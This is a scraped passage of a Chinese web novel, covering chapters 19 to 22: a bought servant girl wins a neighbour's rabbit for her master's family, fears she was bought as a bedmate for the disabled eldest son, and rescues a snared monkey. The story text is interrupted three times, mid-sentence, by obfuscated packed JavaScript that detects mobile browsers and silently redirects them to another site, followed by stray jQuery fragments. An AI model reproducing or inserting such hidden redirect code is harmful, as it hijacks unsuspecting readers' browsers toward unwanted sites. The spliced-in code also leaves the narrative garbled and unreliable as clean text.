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她瞥了一眼周婆子,暗暗嗤笑一声,随即对身后的乔娘道:“回去将你男人和他那些兄弟叫过来,就说家中菜地里出了只兔子。” “让他们莫要着急,兔子在自家地里头,没谁敢惦记,记得将家伙什都带上,还有那只竹笼子也别忘了。” 赵榆暗暗看了眼周婶,果然脸色已经十分不好了,任谁见到自己不喜的人这般得意,都该气得心肝疼。 郑婆子可不关心对方会不会被气出个好歹来,继续道:“老妹子,我这只兔子估摸着不小呢,待一会儿抓到了,我让你提一提,感受一番有没有你家的那只重。” 赵榆听了一耳朵,有些好奇,这兔子还没见着影呢,这就知道大小了? 等郑婆子那几个儿子急匆匆赶过来,听到他们惊喜不已的交谈声,赵榆这才晓得为何郑婆子那般肯定了。 原来是发现的那个洞旁有一堆兔子粪便,颗颗湿润,有指尖大小,这一看,就知道这兔子定不是个小的。 赵榆感叹,这郑婆子一家运气真好,竟真的被他们家碰见兔子了。 那片地十分欢快,李家那几个儿子来的火急火燎,引的一些好奇心重的人也跟着来看热闹。 仅隔了一条地沟,周家这边就显得荒芜寂寥。 周谷瞧着热闹,也想过去看看,刚叫了一声“娘”,就被周婆子指脸大骂,让他闭嘴。 说他现在张什么嘴?没见到地里还有活吗?有这说话的功夫就不能用来翻地?早点翻完早点回去,也不用害她在这受一肚子气! 赵榆在周谷出声前就已经握着锄头干活了,她深知现在周婶气性重,得表现好才是。 对面那里时不时的传来哄笑打趣声,赵榆不敢明目张胆地看,但余光也多次扫过去。 看热闹的人不下五六个,有些是从家里过来的,空着手,身上衣服还算干净,有些则是直接从地里头过来,衣摆鞋头上还沾着泥。 其中一个还是上次她提兔子回去,对她说酸话的那个。 此时这个人脸上可没有任何发酸或是嫉妒的神情,和郑婆子儿子逗笑打趣的样子别提多热情了。 19. 第十九章 那边谈话声一直没停。 李家那几个儿子已经沿着洞挖了好一会儿,众人原本还极为平静的闲聊,当那棕色皮毛从洞口一闪而过时,他们无一不振奋的发出惊呼。 有人半开玩笑半好心提醒地道:“郑婶子,你这兔子可不小,万不能让它给跑了,这要是跑我地头里,那我可就逮住往自家提了。” 众人也都听出这是玩笑话,不说郑婆子的儿子都在这儿,若这么多人都让兔子逃脱了去,那是真真有眼福没口福。 至于那人说的后半句,那就更加只能当逗乐听了,李家那么些儿子都拿不住兔子,即便最后这兔子真跑你家地里了,单凭你自个儿能抓的住? 郑婆子也听出这人是说笑,她还沉浸在刚刚一闪而过的兔子身上,闻言,也乐呵地道:“行啊,这兔子要是当真跑到你地里了,你就将它抓回去炖了。” “谁家地里头的东西归谁,这可是咱们村几代传下来的,还能有假不成。” 郑婆子之所以说的这般爽快,一是她认定了这兔子一定跑不了。 二是她借此提醒这些看热闹的人,现在这块地已经不是无主的荒地了,这是李家的地,所以这地里出来的兔子就该归她李家,别人既不能嫉妒也不能妄图。 旁人面上依旧笑嘻嘻的,时不时的提醒李家人注意洞里的情况,对于郑婆子的那番话,是否听明白其中的意思也只有各人心中有数了。 赵榆也听见了,第一想法就是这话太假。 这番话被郑婆子说的极为坦率,别人听了都得夸一句体面,但就凭对方这两日寻摸兔子的行为,赵榆便知晓今儿这只兔子已经被郑婆子当成囊中之物。 即便这兔子跑人家地里了,她也会带着她的儿子们冲过去,在地主人抓到兔子前,将兔子赶回自家地里,绝不可能让别人分到一根兔子毛。 不得不说,赵榆猜对了,郑婆子就是这个心思。 虽然她很有把握一旦兔子露面就能将它逮住,但不怕一万就怕万一,若这兔子当真跑了,她也不担心,她家来的人多,只要没跑进山里,这兔子就不会在别人家的地里头被抓。 周婆子摘完了菜也没走,和周谷一起将地里晒干的枯草堆成堆,到时候寻个时间来点把火烧了,给地里做肥料。 其实这活周谷一个人干就行,周婆子之所以还待着这里,就是要把这事看个全乎。 郑婆子她了解,一旦她抓到这只兔子,定是要将周家拿出来比较。 周婆子就在这等着,她倒要看看,当着她的面这个老虔婆敢不敢用周家来衬她李家。 但凡她敢说一句周家有的没的,周婆子可不管在场的人多不多,她直接开骂。 还有一点,在周边几个村子里,郑婆子的名声确实好,听说过她的都知道她是个有福的。 相反,周家名声不仅不好,甚至可以说是差,谁家与晦气挨着边,必然是讨不着好。 但周婆子坚决不信她周家风水不好,即便家里的日子虽不算如意,但也安稳,这种情况竟说她家沾晦未免可笑。 村里还有日子过得更差的呢,怎么不传他们被晦气缠身 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压制住心里的火气,她倒要看看,运道好的李家抓到的兔子有多了不起,是不是当真比她周家的要多出一倍的重量出来。 周婆子关心那边的动静,赵榆也偷摸关注着。 所以当有人惊呼“兔子跑了”时,她都用不着转头,因为她正亲眼见到了这一幕,甚至目光还随着兔子逃跑的方向一直追寻。 20. 第二十章 周婆子正因为兔子没往这边来而失望呢,就被赵榆这一声喊惊地深吸了口气。 她眯着眼看向她手里提着的东西,约莫是太重,那物什直往下坠,远远瞧着,真是好大一个长条。 周婆子压下激动,肃着一张脸走得飞快,顶着那些追过来的青壮的目光,伸手将兔子接过去。 这一接手,她心里有了估量。 这兔子确实比家里的那只大,可得重上几斤。 这些追兔子的汉子虽不认得赵榆,但对周婆子熟悉得很,都是一个村的,来往频繁。 和周婆子打了招呼后,他们视线又移到兔子微微下陷的脑袋上。 这一下,砸的还挺狠的。 众人忍不住侧头看了眼赵榆,真是没看出来,这姑娘年纪轻轻,手头倒是又准又干脆。 赵榆哪里知道别人在想什么,她恍惚的捡起锄头,看着上头沾上的点点血迹,也惊讶于自己竟一次就砸中。 看向周婶手里的大兔子,她的这份恍惚顿时变成欣喜,这又是一盘肉啊,这下又能吃到油水了。 不多会儿,其余的那些人也都围了过来,有自知没份的,过来只为了看热闹,但也有欠缺自知之明的,认为自己出了力,怎么着也要分一份兔子肉。 后者便是李家人,尤其是郑婆子的小儿子。 他紧紧盯着周婆子手里的兔子,眼里都快冒火。 这畜生本该完全属于他李家,可偏偏这些人不要脸的横插一脚。 李七心里憋不住气,叫嚷着这兔子他李家要分大头,理由给的也很充分,兔子是他娘在李家荒地里发现的,也是他兄弟几个费力挖出来的,就是全部要回去都不过分,现下只要大头,已经是极大的让步了。 这话赵榆当然不同意,这兔子可是她砸中的,若没她这一下,兔子早一头窜进稻田里了。 这时候田里的谷子就快熟透,一旦兔子逃进去,即便再不甘心也只能放弃。 毕竟谷子可比兔子重要,后者只是一盘菜,前者是养活一家老小的口粮。 若是为了只兔子毁了人家辛苦照顾大半年的谷子,就是被唾沫砸死都不为过。 可还没等她开口,就有人先一步出声直接否了李七。 几人你来我往的,争论不休,最后几个出力最大的汉子一致同意让赵榆来决定。 毕竟这兔子是她砸死的,也该归她所有。 赵榆也不推脱,她占了主要的功劳,作甚不认。 于是她转头看向了周婆子。 周婆子虽也可惜这兔子要分出去,但念及这兔子来的意外,若不是赵榆那丫头锄头砸的正正好,她家是连分的资格都没有。 平白能得一份兔子肉,也够她心下痛快了。 念于此,周婆子让出力大的几个人一会儿去周家分肉,人虽不少,足有四个,但一人一斤肉还是有的。 如此安排,众人满意了,当然除了李家。 周婆子可不管李家生不生气,她带着赵榆周谷两人在郑婆子的怒视下堂而皇之地提着兔子离开。 李七气的不行,张嘴就要对着周婆子的背影大骂,可不知道想到什么,似乎是有所顾忌,他脸色白了又青,青了又转白,最终人都走远了,他半张着嘴一个字都没吐出来。 逼不得已,只能暗恨地低咒一声,声音极小,连离他近的年轻汉子都没听清。 年轻汉子家也在村头,离李家不远,平时也和李家儿郎玩在一起。 原本见李七这般生气,他该勾肩搭背安慰一番的,但想到刚刚抓兔子的情景,他就忍不住撇嘴。 若是他李家人刚刚不耍小心思,配合着他们一起将兔子逮住,周家也就不会因为那一锄头分得大头。 他这时候倒是生起气来了,也不想想他们李家人之前是怎么故意放跑兔子的。 不就是心眼小,不愿意和他们一起分么。 现在倒好,他们这些人该分的肉已经到手了,反而李家是空着手来,还要再空着手回去。 想想李家人的所作所为,汉子心里忍不住嗤笑,道一句活该。 赵榆扛着锄头跟在周婆子身后,这离午时差不多还有一个时辰,但约莫是平白得来一只兔子,周婶心情不错,于是挥了挥手,就让他们跟着一起回去歇息。 不过在回去前,周婆子先去看了看地里的豆子。 豆子种在旱地里,离山近,所以常常会有鸟兽跑过来偷吃。 豆子虽是粗粮,说起来是没有稻谷小麦金贵,可一旦家里伙食紧俏了,这豆子也是能拿来救命的。 反正周家对这片黄豆地十分重视,一天来看个三四次极为正常。 赵榆跟着周婆子一起巡视,主要是见地上有没有新啃咬的壳,好在除了一些被啃出的旧印子,新咬痕倒是没见着。 赵榆心想,这几天鸟兽来的少,约莫是最近寻摸兔子的人多了,它们受到惊吓不敢出来,豆子自然就不被祸害了。 正想着,突然一声极为熟悉的“哇哇哇”声传了过来。 距离不远,似乎就在山林外围。 赵榆抬头,朝着那边望了望,果然见到其中一棵树冠在摇晃。 周婆子也打眼往声音传来的方向瞧,虽什么都没见着,她仍就皱着眉,狠声道:“定是那些馋嘴鸟兽,一个个的不在山里寻吃的,偏要出来糟蹋粮食,当真是祸害!” 赵榆张了张嘴,想说这叫声和鸟没什么关系,这哇哇的声音是出于一只猴子,还是一只脾性很差的猴子。 但想到那猴子熟练地仍那些半青不红还酸的涩嘴的果子,不难猜出它是个挑嘴的,这般挑嘴估摸着是看不上这些发硬又没甚滋味的老豆子。 赵榆之所以确定是那只猴子,原因无非是她从没见过哪只猴子能叫的这般贱兮兮的,除了前段日子打过她的那一只。 山里的猴叫声还在继续,“哇哇”个不停,赵榆似乎能听出里头的嚣张,想起之前被果子砸的泛疼的后背,她就忍不住咬了咬牙,暗暗猜道:这猴子定是又逮着弱小在可劲欺负! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13409948|139955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' * 再次提着一只兔子回家,免不了又是引起一番惊叹。 当然惊叹的人只有大牛,其余人分为两类,一类如周老汉这般稳重的,只在心里感慨一番,一类便是方春梅这种的,明明眼睛盯着兔子不放,神情却是又怨又妒,还要装出不屑,瞧着十分割裂。 方春梅是自己出来的,原本还硬气的将自己关在卧房里,吃喝都让周青给端进去。 周青伺候了几回,嫌麻烦,有些不太乐意。 而方春梅呢,也嫌弃周青服侍不周,不仅不给她夹肉,就是肉汤也不给她浇一滴,她急的嘴里冒火,就怕自己在屋里多待一天,那房梁上的兔子肉没了她都不知道。 不止肉,还有她每日的口粮。 因为她整日不出屋,连活计都抛了,原想着等周家人急了,定然会先来求她,可万万没想到的是,周家婆母心狠的厉害,给她的饭食越装越少。 从一开始的碗口齐平到今早的半碗粥水,她越发吃不饱,心也跟着发慌。 她是憋着一股气和婆母在对抗,可随着两天过去,除了第一天受了骂,后面她几乎被冷待了。 活不再交给她,吃喝也不再叫她,家里的好东西似乎都没了她的份。 方春梅焦急的不行,原本提着的胆子也跟戳破的鱼泡般,松垮又单薄。 最后实在憋不住了,她这才从屋里头出来。 看着被婆母提回来的兔子,她面上是做足了不屑一顾,可她心里忍不住庆幸自己出来的及时,这要是还缩在屋里,这兔子肉指不定又没她得份。 赵榆不知道其他人心里头怎么想的,但由于这次这只兔子,她明显感受到周家人对她有所变化。 就比如大牛,开始喜欢粘着她了,连她干活都喜欢蹲在旁边看着,竟一点也不觉得无趣。 还有周婶—— 尤其是周婶! 之前周婶和她说话,都是直接吩咐,并不会叫她名字,现在则不同,她会先唤一声她的名字,再将事情嘱咐给她。 看着区别是不大,但赵榆却感受到二者的不同。 前者像是不被在乎的奴隶,没名没姓,后者则意味着她获得了认同,她的名姓也不再如以往那般无关紧要。 夜幕降临,赵榆依旧坐在院子的木墩上等饭食吃,不同的是,这次她身边还坐着大牛。 他始终不愿意进屋,嚷着要和赵榆一起在外头吃。 也是托他的福,这次晚食赵榆没有落在最后,而是在堂屋里的人动筷子时,她就接到了周婶端过来的饭食。 赵榆啃着兔肉,时不时的转头看一眼大牛,这小子闷头吃的香,饭碗一捧,再没了之前叽叽喳喳话多的样子,瞧着是恨不得将脸都埋进碗里。 赵榆听着他吃饭的吸噜声,很是新奇。 之前这边就她自己狼吞虎咽的吃饭食,凉风拂过,虽清爽,却也难免觉得有几分凄苦。 现下身边不过是多了一个一心只顾吃饭的五岁小子,赵榆却觉得欢闹不少。 21. 第二十一章 几天前才听见猴叫声,赵榆没想到她还能再见到那只猴子。 这天,赵榆洗完衣裳回来,就听见周麦在哭,哭得很是凄楚。 哭声中还夹杂着周婆子气急败坏的叫骂声,说周麦不是千金小姐的命,既生在周家,在乎那一身皮子就是痴心妄想。 想要一身细皮嫩肉,得自己有本事,没那个能耐,就老老实实干活。 说她吃了十几年的粮食全是她爹和几个兄长冒着日头种出来的,如果她只在乎那一身皮肉不被晒黑,不愿出去帮着干活,那她就不配每天张嘴吃粮。 周婆子骂的狠,周麦也不是能忍的。 她叫嚷着周婆子偏心,一心只考虑四个儿子,不关心她的人生大事。 明明她已经十五了,合该定亲的年纪,可周婆子一点都没将这事放在心上,不仅不给她寻摸合适的人家,连她想养护面皮都被大骂没良心。 周麦哭得不行。 到底是谁没良心? 她这个做亲娘的不把她这个女儿介绍出去便罢了,她难道不知这是她紧要时候,一张白皙好看的脸皮关系着她后半身么? 赵榆借着晾晒衣服可算是将事情听明白了,起因就是昨日周麦被周婶强行赶出去,让她去豆地看看有没有馋嘴的鸟兽在祸祸自家豆子。 周麦憋着气去了,回来时碰见同村的玩伴,这玩伴家里长辈是个有本事的,在县城开了个小药馆,给人看病抓药名声还算不错。 因为家里人对山草药熟悉,听说还有从祖上传下来的几个保养方子,于是这个玩伴经常有好东西抹脸,这时间一长,这人还真比其他人要白皙不少。 看着玩伴那光滑白嫩的面皮,周麦是又羡慕又嫉妒。 时常想怎的自己没个好出身,若是她也有一个会医术的家人,再有几张珍贵的保养方子,她的脸也能向许如意一般漂亮。 可令人寒心的是,周家只是个泥腿子,父兄没本事,周家祖上也是个没能耐的,全家就靠几亩田地糊口,银钱都存不下多少,更不用说给她买养肤膏了。 弄不来好东西敷脸,周麦就只能避着太阳,想着躲屋里捂一捂,变白也是有可能的。 可她都这般委屈自个儿了,娘都不体谅自己。 逼她出门,让她顶着那么大的日头去地里,娘她怎可这么狠心? 想到当时玩伴许如意一脸吃惊的望着她,不解地询问为何她的脸那么红。 当听说她是去菜地时,许如意诧异不已。目光扫向她的脸时,欲言又止的神色真真是让周麦每想一次就心抽痛。 她躲了这么久的太阳,好不容易有白了一些,就这一次外出,又黑了回去。 周麦想到被晒伤的后颈,从昨晚就开始火辣辣的疼,这般强烈的日光,连后颈都躲不过,可想而知她的脸被这一通晒定是不成样子了。 周麦憋不住,哭的越发大声。 她大叫道:“我不去!你就是打死我我都不出去!” “家里人那么多,又不是只有我长了腿!看个豆子而已,大牛不能去么?还是因为他是你大孙子,所以你舍不得他受苦?” 大牛此时正围着赵榆打转,听见这话,扯着嫩嗓子不服气道:“我能去!我都五岁了,比你厉害!” 大牛听不太懂她们在说什么,但他晓得每次小姑提他名字时,都不是在说他好话。 “闭嘴!”周麦恶狠狠地瞪着他,直把大牛吓的躲到赵榆身后。 这下赵榆便落到了周麦的眼里。 周麦同样不喜赵榆,想到若是那四两银子没有用去买她,而是拿到药馆换成养肤膏,定能将她的面庞滋养白皙。 周麦既后悔又心痛,看着赵榆的目光都带着怨。 无视周婆子含怒的脸,她手指着赵榆嚷道:“还有她!她就是个贱籍身份,什么活做不得?你舍不得大牛累着,难道对她也舍不得?” …… 一大早上,周家就闹腾的不行,又是哭又是吵的,有种家宅不宁的嫌疑。 周婆子也嫌弃大早上不清净,尤其是周麦这哭个不停,活像是死了爹娘似的,直让周婆子心里十分膈应,嫌不吉利。 她受不了气,取了火柴棍就往周麦腿上招呼。 赵榆亲眼看着周麦被打了两棍子,待周老汉被惨叫声引出来,她这才站出来出声帮着劝阻,顺带接下巡视豆子地的活儿。 赵榆接下这活不是为了替周麦考虑,这周家小女儿也不是个好的,赵榆心里烦她。 她之所以要去,一她本就该干活,应下了这事也是在讨好周婶,二则是为了刚刚周麦说出的那句话—— “你想让赵榆给大哥暖被窝,怎的不问问大哥愿不愿意?她就是个贱民,大哥即便不良于行,也不是她能配上的!” 这话只要不是傻子都能听的懂。 赵榆面上虽装作无事,但心里已经止不住狂跳。 周婶买她回来,竟是抱着这个意图么? 给人暖被窝…… 这几个字赵榆一点都不陌生,人贩子在卖她时,见一个人在笼前驻足就不惜口舌的喊一次,无论来的是女是男,是老是少。 可自从她被带回周家,这五个字她再没想起过。 原因无非是她见到的周家男人都已娶了妻,且周家是个地道的农家人,周老汉以及周谷都是个老实的好人。 可她忘了,周家有四个儿子,还有两个她连面都还没见着。 周家老大、周家老三…… 念起周麦说的周家老大不良于行,赵榆又开始慌乱无措起来。 她瞥了眼巍峨的大山,心里再一次浮起逃进山的念头。 豆子地近山,周麦不愿意去,她愿意。 进山,似乎一直都是她的退路。 * 赵榆打着熟悉大山的主意来的,所以在查看一遍豆子之后,她打算再进一次山。 这次去往山脚的路比之前要好走,至少野草被踩踏了不少,隐隐的有条小路出来,这定是寻摸兔子洞的人走出来的。 赵榆沿着小路走了一会儿,突然,她停了下来,侧耳注意听着。 虫鸟的声音此起彼伏,可其中却是夹杂着一缕耳熟的哼叫声。 微弱的,仿若随时要断气一般。 赵榆一时没想起来为什么会耳熟,但这要死不活的惨兮兮的声音让她止不住的激动。 这是哪盘肉受伤了? 趁它还有气快些捡走带回去,剥剥皮抹抹盐,一点不会影响肉质的新鲜。 赵榆仔细听了听,大致辨出方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13430305|139955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向后,她拨开草,躬身往草丛里钻。 她眯着眼,任由草糊着脸,偶尔有一些蚂蚱跳到头上,她也不太在意,一心只祈祷不要让她碰到蛇。 然越怕什么,它就偏来什么。 为了不被草割到脸,赵榆低垂着头往前走,也就眨眼的功夫,她眼睁睁地看着一条麻麻赖赖的蛇慢悠悠地从她脚前游过。 赵榆头皮发麻,惊的一身冷汗,腿僵直的动都不敢动。 她开始后悔自己为了贪一口肉就贸然钻进来,是确定不会遇见蛇,还是确定遇见蛇不会被咬? 她僵站着好一会儿,即便蛇已经不见影,她仍心有余悸。 心中退堂鼓打的响,任由那快断气的哼声往耳朵里钻,她再没了之前的激动。 这里不远处是条河,就是流经村头的那条,导致这片地方土壤肥沃又湿润。 赵榆不知道这么好的地方为什么不种田,反而任其长满了人高的野草,蛇喜阴,这里又这么湿凉,蛇恐怕只多不少。 赵榆将越发清晰的哼叫声摒除在外,一心只想着快些出去。 她想原路返回,但她刚刚是凭着声音在走,一路上不知转了几个方向,那哼声时断时续的,她几次寻错,重又折返才走到这儿。 退不了,赵榆只能忍着心慌,沿着一个方向走。 为了不走偏,她还是决定朝着哼声前进。 因刚刚那条麻灰色的蛇太过骇人,赵榆走的小心了许多。 随着距离越来越近,近的仿佛只要拨开眼前的草就能见到那快断气的物什时,赵榆才意识到那初始的熟悉感是什么。 这哪是什么哼声,明明是叫不响的“哇哇”声! 像是被勒住脖颈似的,沉闷又虚弱。 赵榆有心想去瞧个清楚,但又念及当时那猴子冲她露出獠牙的模样,有些止步。 那猴子虽不大,又矮又胖,可那对獠牙却锋利的很,若是被咬一口,那是极其危险的。 但可能是这猴子现在嚎叫的太虚弱了,与它之前嚣张的样子反差太大,于是赵榆好奇心,或者说是报复心占了上头。 又往前走了几步,确定只有几步之遥后,赵榆停了下来,小心翼翼地拨开遮挡视线的草。 霎时,与鲜草颜色分明的棕灰色入了眼帘。 看着那瘫倒在地、团成一团、越发显胖的东西,赵榆确定了这就是那只讨人嫌的猴子。 赵榆原还担心没有武器在手可能无法保护自己,但看着眼前这只即将要成为“死猴子”的猴子,她已经没甚好担心的。 都这么虚弱了,难不成还有力气对她不利? 赵榆说对了,这猴子不仅没力气,就连脑袋都动不了,只能微睁着眼,大张着嘴艰难呼吸。 它意识到有人来了,起初还强烈的挣扎一番,但越挣扎它越痛苦,所以在扭了扭身体之后,它再次一动不动。 任由赵榆用脚触碰它,它都没反应。 赵榆见此,“哈”了一声,道:“你也有今天!” 不知道是不是她的声音吓到它,它竟又挣扎起来。 赵榆被吓了一跳,连忙后退几步,等了一会儿见它又没了动静,这才大着胆子绕到它的眼前,她想看看到底是什么扣住了它,怎的始终不见它的脑袋? 22. 第二十二章 没等她看个清楚,就见这猴子又挣扎起来,它头以一种诡异的姿态半陷在一个坑里,原本半眯的眼睛睁大些许,一眨不眨地盯着她。 猴眼里水润润的,不知她有没有看错,她竟奇妙地从里头看出了些许渴求。 渴求什么? 渴求她救它么? 赵榆有些沉默,这猴子可喜欢打人了,万一它到时候恩将仇报可怎么办? 再说了,它之前用果子砸的她后背生疼,这仇还未报呢! “哇哇......哇哇……”声音细弱且滞涩。 赵榆看向它毛茸茸的后背以及它长满细绒毛的黑脸,恻隐之心渐渐冒出头。 确实是又可怜又可人儿。 赵榆极其害怕光/溜溜的东西,例如蛇,相反,长毛的动物就多多少少会让她有些偏爱…… 赵榆蹲下身,试探地伸出手触碰它的后背,见它没有抵抗的意思这才松口气。 手陷进它的皮毛里,紧贴着它的皮/肉,又软又暖,她克制不住地抓住绒毛揉了揉。 缓缓的,她将手移向它的头顶,小心翼翼地摸了摸,见猴子也未有应激反应,她这才胆子大了些,贴脸凑近,想看看这个坑到底是什么情况。 猴子脑袋不算小,加上它皮毛厚实,将坑口挡了个严严实实,任由赵榆如何扒拉,她依旧找不出是什么困住了它。 正当她想着要不要试着从旁将洞挖开,就又听见猴子难受的哇哇声。 赵榆似乎想到什么,盯着它的脖颈左看右看。 叫的这般艰难,该不会问题出在它脖子那里吧。 不知道是不是胖的缘故,这猴子没有脖子,头以下就是肩膀,但不妨碍赵榆将它那处的长毛拨开,在里头找到了一根半指粗的麻绳。 麻绳和它的毛颜色相似,若不是因为它的叫声,让她想着先查看脖颈,这一时半会的还真找不出原因。 可麻绳虽是找着了,这手里没个刀的,弄断都是个难事。 没办法,赵榆只能将两只手各塞进去一根手指,使劲儿想要将这绳子拉断。 然她手指头都被勒红了,这绳子依旧将猴子圈的紧紧的。 但不知道是不是她的这次扯,给猴子的脖子留了些余地出来,它气喘的顺畅了些。 无法,赵榆只能继续使着力不让绳子重新缩回去。 她飞快思索着这附近有没有什么锋利的东西可以割断麻绳,最终只想到了她自己的牙齿。 猴子的牙齿倒是比她的还锋利,但也要它能咬的到。 赵榆瞥了眼陷在猴子长毛里的绳子,有些嫌弃,希望里头不要藏污纳垢,藏些虱子什么的。 随即她视线一转,落到它露出来的獠牙上头,“把嘴闭上,獠牙收收,若是吓到我,我可不救你。” 猴子哪里听明白她在说什么,它现在舒服不少,只想张着嘴呼吸。 约莫是刚刚憋气久了,它嫌气儿进的慢,竟当着赵榆的面继续张大了嘴。 赵榆冷笑一声,伸手就朝它的嘴捏过去,道:“胆子不小啊,都这样了,还敢忤逆我!” 猴子不明白怎么回事儿,见嘴巴被捂住了,它带着气性的又开始“哇哇”大叫。 虽然声音依旧微弱,但听着比之前要清亮一些。 赵榆:“你这还没被救出来呢,就这个态度?” 为了给它教训,赵榆松了松手里的绳子。 ……猴子又一次痛苦起来。 它不再哇哇了,老实不少。 赵榆见此,这才憋住气低头埋进它的毛里,张嘴试图用牙齿将麻绳给咬断。 然而麻绳岂是那般容易弄断的,赵榆一连试了几次,除了磨出丝丝毛边,绳子依旧完好。 显然这个法子行不通。 赵榆不打算再试,这麻绳质地太硬,咬的她牙齿疼,还有就是这猴子身上可太难闻了。 赵榆嫌弃道:“你平时不去河里泡一泡么?怎的这么臭?” 猴子身上的味道复杂,像是腐烂的草屑和淤积的泥水搅混在一起,又腥又浊。 “哇哇!哇哇!” 明明十分狼狈,眼看着命都要交代了,它突然亢奋起来,奋力地嚎叫着,像是十分不满对方嫌弃它。 赵榆撇了撇嘴,敷衍地拍拍它,“行了,臭也没关系,以后记得多到干净的水里泡一泡。” 随意安抚完猴子,赵榆继续查看这个坑。 倒也不是坑,都刻意布置了麻绳,一看就是陷阱了。 这陷阱设下估计也才几天功夫,周遭的土地还松软着,倒也方便赵榆重新将其挖开。 为了不耽搁,她需得用上双手。 于是没了赵榆帮着扯绳子,猴子再一次开始半死不活。 这陷阱设的简单,甚至还很粗糙,连兔子都不一定能捕捉的到,也不知这猴子怎么就被套住了? 赵榆一边挖着一边疑惑,直到她突然闻到一股香味,待她看清陷阱里被浸了茶油的茶叶沫,这才了然。 茶油清香,没骗到兔子,倒是诱了这只贪嘴的猴子。 因设陷阱的人不太精通,缠着麻绳的木头桩子插的并不深,赵榆费了些力将其拔出来后,猴子这才彻底脱身。 将桩子拔出来的那一刻,赵榆突然呼吸一顿,觉得自己莽撞了,万一猴子没了束缚,恩将仇报,对她露獠牙可怎么是好? “哇哇——” 猴子像是舒服了,叫声都拉长了些。 赵榆悄摸地转头瞧它,见它已经换了姿势仰躺在地上,大张着嘴,眼睛半合着,看着像是忘记了旁边还有她。 赵榆提着心,不敢惊到它,小心翼翼地半蹲着身子后退,直到退进草丛里,她这才缓缓转过身拨着草离开。 草长的太密,从中穿过的动静自然不可避免,但赵榆管不了了,只希望那猴子受了伤追不上来。 赵榆一刻不停的往前走,突然她觉得有些不对劲,这草晃动的声音是不是太长了? 赵榆停了手,注意听。 果然她都停下了,这草竟还在发出响声。 像是有人跟在她身后! 赵榆心头一紧,猛地转头。 ……还好,什么都没有。 只是,当她目光下移,对上那对猴眼—— 她整个人都僵了僵。 赵榆紧着嗓子,道:“你要做什么?莫不是又想对付我?” “哇哇。” 赵榆威胁它,“这里可不是山上,没了树,你确定能打的过我?” “哇哇。” 猴子像是还累着,见她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445955|139955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不走了,也一屁/股坐了下来。 赵榆盯着它好一会,见它还算平和,便一步一步地继续往后退。 等退了有五步远,她就眼睁睁地看着猴子也跟了上来。 赵榆不明所以,又往后退,猴子依旧跟过来。 …… 赵榆看着猴子,皱眉,不可置信地猜测道:“你不会是想跟着我吧?” 因为救命之恩? 赵榆怀疑地看了猴子一眼又一眼,沉默半响,没再管,只当它是想和自己一起出去。 可等她终于从草丛里钻出来,打算再去豆地逛一逛时,身后的猴子还亦步亦趋地跟着。 赵榆:“别跟着我!” “哇哇。” 赵榆转身走,猴子继续跟。 赵榆:“不许跟!” “哇哇哇!” 约莫是赵榆走走停停的举动惹到它了,它四肢往前迈了一迈,眨眼就到了赵榆跟前,然后趁着她没反应过来,扒拉着她的腿就往她身上爬,一个吸气的功夫,猴子就爬到了赵榆的肩膀上。 赵榆惊地睁大眼,一动不敢动。 任由猴子蹲坐在她的肩膀上。 没一会儿,赵榆坚持不住的发着颤,不是被吓着了,而是这猴子太胖,她的肩膀酸疼,承受不住它。 赵榆试着用手推它下去,结果它只是从左侧肩膀换到了右侧。 赶不走它,赵榆十分忧心。 周家她是无论如何都不能带它回去,她自己在那里都还不太受待见,更遑论她带回去的猴子, 当然若这猴子愿意下锅,周家人估摸着会很喜欢它。 听着它在头顶一通乱叫,赵榆忍了忍还是警告道:“闭嘴,若是被别人瞧见了,你就是被下锅的命。” 感受到右脸被它的猴毛裹着,赵榆继续嘟喃道:“剥下你这身皮毛,人家还能白赚几十文钱。” 赵榆说的不是假话,这年头吃顿肉不容易,有肉吃谁还挑是兔子肉还是猴子肉,放锅里炒熟了,不都是和粮食一起下肚? 一路上赵榆走的小心,四顾周围是否有人。 当远远的瞧见一个人往这边来时,赵榆只能又带着猴子返回去。 想到前不久看见的那条进山的小路,赵榆打算带着猴子走那里,还能避着些人。 只是还没等她走到那条小路,肩上的猴子突然有了动作,只见它十分灵活的顺着她的胳膊滑落下来,然后四肢着地就往前冲。 一边往前跑,还不忘回头冲她“哇哇”叫。 像是在叫她跟上。 赵榆迟疑,怀疑自己理解错了。 哪想就因她站着不动,猴子急了,往回跑了几步,又对着她一顿哇哇。 赵榆试探地迈了一步,猴子这才停了嘴,继续往草丛里钻。 赵榆不太想跟着去,她才从里头出来,怎的还要进去? 里头可是藏着蛇的。 可听见从里面传出来的猴叫声,赵榆无法,只能跟上它。 猴子走的不快,但赵榆不认为它是为了等她。 看着它边走边不停地转着脑袋,她觉得这猴子应该是在寻找着什么。 